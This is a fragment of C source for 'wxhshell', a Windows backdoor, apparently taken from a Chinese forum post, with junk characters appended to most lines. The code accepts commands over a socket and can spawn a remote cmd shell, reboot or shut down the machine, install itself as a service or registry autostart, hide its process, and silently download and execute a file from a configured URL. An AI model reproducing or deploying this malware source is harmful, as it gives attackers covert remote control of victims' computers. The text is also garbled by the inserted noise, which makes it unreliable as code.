    switch(cmd[0]) { @D[+@N  
  &@xm< A\S  
  // 帮助 ?Xpk"N7  
  case '?': { j#3IF *"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q-^{2.ftcx  
    break; !]?kvf-3e  
  }  !'!\>x$  
  // 安装 1OvoW Nx  
  case 'i': { \Dl MOG  
    if(Install()) #-b}QhxH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S*n5d>;  
    else 5(2 C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tcv/EST  
    break; {li Q&AZ  
    } N[-$*F,:_  
  // 卸载 uo?R;fX26  
  case 'r': { KCpq<A%  
    if(Uninstall()) A;X3z-[[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I] +OYWp  
    else J>+\a1{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CqWO 0  
    break; `_.:O,^n^  
    } cjtcEW  
  // 显示 wxhshell 所在路径 vH}VieU  
  case 'p': { djoP`r  
    char svExeFile[MAX_PATH]; @-0mE_$[  
    strcpy(svExeFile,"\n\r"); hKh ad8  
      strcat(svExeFile,ExeFile); 6J- /%  
        send(wsh,svExeFile,strlen(svExeFile),0);  ngJ{az  
    break; pub?%  
    } yD$d^/:  
  // 重启 1}Guhayy  
  case 'b': { NZG ^B/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #zgO_ H  
    if(Boot(REBOOT)) DGTE#?'(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'xG{q+jj'  
    else { d~6UJ=]@8  
    closesocket(wsh); M%$ITE  
    ExitThread(0); I d8MXdV  
    } Kc@Sw{JR#7  
    break; E:uTjXt  
    } ,jW a&7  
  // 关机 XR<g~&h  
  case 'd': { YuHXm3[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9:3`LY3wW  
    if(Boot(SHUTDOWN)) "9X!Ewm"P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f6\4 ,()  
    else { jUZ$vyT  
    closesocket(wsh); y"8,jm  
    ExitThread(0); .=yv m  
    } x&JD~,Y  
    break; g-u4E^,*|  
    } +~:OUR*>  
  // 获取shell !?J- Y  
  case 's': { 0ap'6  
    CmdShell(wsh); CQmozh-  
    closesocket(wsh); b?!S$Sxz  
    ExitThread(0); *5XOYb?'v.  
    break; P;K3T![  
  } |+[Y_j  
  // 退出 7 +KI9u}-  
  case 'x': { Chad}zU`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2qVoe}F  
    CloseIt(wsh); sk:B; .z  
    break; zK_P3r LsS  
    } 9@mvG^  
  // 离开 CGb4C(%-7  
  case 'q': { ZzQLbCV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WWOt>C~zV  
    closesocket(wsh); cf ^i!X0  
    WSACleanup(); W1LR ,:$  
    exit(1); 'mm>E  
    break; bI(8Um6m  
        } G^.tAO5:f  
  } `|v/qk7 ^?  
  } paMK]-  
fz8 41 <Y  
  // 提示信息 [~G1Rz\h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oSjYp(h:  
} f<|*^+  
  } '{.8tT ?tJ  
( *K)D$y  
  return; ,&fZo9J9  
} 3` D['  
O 9M?Wk :  
// shell模块句柄 IGly x'\_  
int CmdShell(SOCKET sock) WIAukM8~  
{ "3a}~J<g  
STARTUPINFO si; 6V@_?a-K  
ZeroMemory(&si,sizeof(si)); l]Ym)QP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rce._w }  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4gVIuF*pS  
PROCESS_INFORMATION ProcessInfo; X8R:9q_  
char cmdline[]="cmd"; SkCux  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 28c6~*Te #  
  return 0; I36%oA  
} ">20`Mj8  
( plT/0=^t  
// 自身启动模式 O,v C:av  
int StartFromService(void) T{-gbo`Yji  
{ gf9U<J#&C  
typedef struct S;D]ym  
{ bGy|T*@  
  DWORD ExitStatus; @de0)AJG6  
  DWORD PebBaseAddress; 9 HlWoHuC  
  DWORD AffinityMask; >El]5M7h7  
  DWORD BasePriority; dV}]\ 8N  
  ULONG UniqueProcessId; \1n (Jr.<  
  ULONG InheritedFromUniqueProcessId; 9Nx%Sdu  
}   PROCESS_BASIC_INFORMATION; kCoE;)y$  
}QQ 7jE  
PROCNTQSIP NtQueryInformationProcess; ^K_FGE0ec  
VZ">vIRyi|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N^PkSf[)h5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #`K{vj  
iWFtb)3B  
  HANDLE             hProcess; :xbj& l  
  PROCESS_BASIC_INFORMATION pbi; Zs-lN*u7.  
wi+L 4v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nD]Mg T  
  if(NULL == hInst ) return 0; "M\rO!f:  
?E}gm>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'Nuy/\[{\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f1elzANy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N`3^:EJL8  
fR+{gazk n  
  if (!NtQueryInformationProcess) return 0; #b:YY^{g_  
!_~ /Y/M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k'PvQl"I  
  if(!hProcess) return 0; }A;YM1^$  
;3xi.^=B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sDTw</@  
`L[q`r7  
  CloseHandle(hProcess); p5w9X+G%  
Ex|Z@~T12  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @Bjp7v :w  
if(hProcess==NULL) return 0; 2Ub-ufkU  
+RR6gAma}<  
HMODULE hMod; 55UPd#E'  
char procName[255]; dTu*%S1Z  
unsigned long cbNeeded; n9k  
&(l.jgqg&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @ ,;h!vB*=  
D^P0X:T]  
  CloseHandle(hProcess); d#$Pf=}  
5L~lF8  
if(strstr(procName,"services")) return 1; // 以服务启动 IMM sOl  
&2[Xu4*  
  return 0; // 注册表启动 L:mE)Xq2  
} L;L_$hu)  
3O1Lv2)_  
// 主模块 2EN}"Du]mj  
int StartWxhshell(LPSTR lpCmdLine) Ui9;rh$1eU  
{ !7Qj8YmS  
  SOCKET wsl; .f. tPm  
BOOL val=TRUE; :oC;.u<*8  
  int port=0; *8;<w~  
  struct sockaddr_in door; ' S,g3  
gzH;`,  
  if(wscfg.ws_autoins) Install(); * a1q M?  
`k8jFB C  
port=atoi(lpCmdLine); }NG P!  
x?u@ j7[  
if(port<=0) port=wscfg.ws_port; S?a4 IK  
iC^91!<  
  WSADATA data; ZGI<L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?p 4iXHE  
V>E7!LIn.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c&wiTvRV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Nge@8  
  door.sin_family = AF_INET; kTT%< e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #.fJ M:"tG  
  door.sin_port = htons(port); _s5FYb#  
D)l\zs%ie  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vlZmmQeJm  
closesocket(wsl); [q_62[-X  
return 1; p1i}fGS  
}  cC|  
V*(x@pF  
  if(listen(wsl,2) == INVALID_SOCKET) { ahCwA}  
closesocket(wsl); fk X86  
return 1; Lc[TIX  
} 02%~HBS  
  Wxhshell(wsl);  iycceZ  
  WSACleanup(); TgDT  
Xo[cpcV  
return 0; Q)M-f;O  
q@XJ,e1A  
} ^-n^IR}J  
(vzYgU,  
// 以NT服务方式启动 ~&F|g2:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h"Wpb}FT  
{ *<SXzJ(  
DWORD   status = 0; yM9>)SE5`  
  DWORD   specificError = 0xfffffff; ~UQ<8`@a  
5!$sQ@#}D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v,ni9DIu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O7LJ-M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -b8SaLak  
  serviceStatus.dwWin32ExitCode     = 0; VYh/ URU>  
  serviceStatus.dwServiceSpecificExitCode = 0; be]/ROP>H  
  serviceStatus.dwCheckPoint       = 0; 3&{6+A  
  serviceStatus.dwWaitHint       = 0; 'W54 T  
Fs=x+8'M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vkR ~nIp  
  if (hServiceStatusHandle==0) return; {%^4%Eco  
!;[cJbqnh  
status = GetLastError(); |JWYsqJ0U  
  if (status!=NO_ERROR) m?Cb^WgcF  
{ Oj_F1. r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DrAIQ7Jd  
    serviceStatus.dwCheckPoint       = 0; v3t<rv  
    serviceStatus.dwWaitHint       = 0; 5[)#3vY  
    serviceStatus.dwWin32ExitCode     = status; |]?W`KN0  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8f)pf$v`   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fi~@J`  
    return; )t7MD(  
  } GVn'p Wg  
7 <]YK`a2d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n6Uf>5  
  serviceStatus.dwCheckPoint       = 0; h&d"|<  
  serviceStatus.dwWaitHint       = 0; gp$Rf9\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xt "-Jmox  
} u(f;4`  
+|pYu<OY  
// 处理NT服务事件,比如:启动、停止 gae=+@z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~OxFgKn23&  
{ ZPq.|6&  
switch(fdwControl) gV\Y>y4v  
{ ZfVY:U:o>  
case SERVICE_CONTROL_STOP: 6|3 X*Orn  
  serviceStatus.dwWin32ExitCode = 0; ohJDu{V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M}CxCEdDB]  
  serviceStatus.dwCheckPoint   = 0; !Yn#3c  
  serviceStatus.dwWaitHint     = 0; 6w m-uu  
  { D/4]r@M2c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I!1+#0SG  
  } iT O Y  
  return; a$^)~2U{  
case SERVICE_CONTROL_PAUSE: Pw7uxN`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P,WQN[(+  
  break; 1|H4]!7kE  
case SERVICE_CONTROL_CONTINUE: u#^l9/tl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iPWr-  
  break; w{*V8S3h9  
case SERVICE_CONTROL_INTERROGATE: @o'L!5Y  
  break; 9h)8Mq+M  
}; :~srl)|)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Zyv X]@_  
} g`C8ouy  
c9CFGo?)N  
// 标准应用程序主函数 .;ofRx<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jJt4{c  
{ (RG "2I3  
5M5vxJ)Lh  
// 获取操作系统版本 |/%5~=%7  
OsIsNt=GetOsVer(); d&Nji%Ej  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i^A=nsD`  
9b,0_IMHH  
  // 从命令行安装 J:ka@2>|  
  if(strpbrk(lpCmdLine,"iI")) Install(); |r)QkxdU,  
V,'_BUl+x  
  // 下载执行文件 l`:u5\ rM  
if(wscfg.ws_downexe) { 1ZYo-a;)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T:2f*!r  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3k(tv U+eC  
} R)*l)bpZ#  
p$jAq~C  
if(!OsIsNt) { >b5 ;I1o=y  
// 如果时win9x,隐藏进程并且设置为注册表启动 (aSuxl.Dq  
HideProc(); zF{~Md1  
StartWxhshell(lpCmdLine); K `<HZK  
} Pi9?l>  
else wpi$-i`  
  if(StartFromService()) P6ktA-Hv>  
  // 以服务方式启动 LayK&RwL  
  StartServiceCtrlDispatcher(DispatchTable); 4(oU88 z  
else e<a*@ P,  
  // 普通方式启动 :& :P4Y1 E  
  StartWxhshell(lpCmdLine); -%%Xx5D  
Sj|tR[SAoD  
return 0; EEK!'[<,sE  
}
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只看该作者 1 发表于: 2006-10-10
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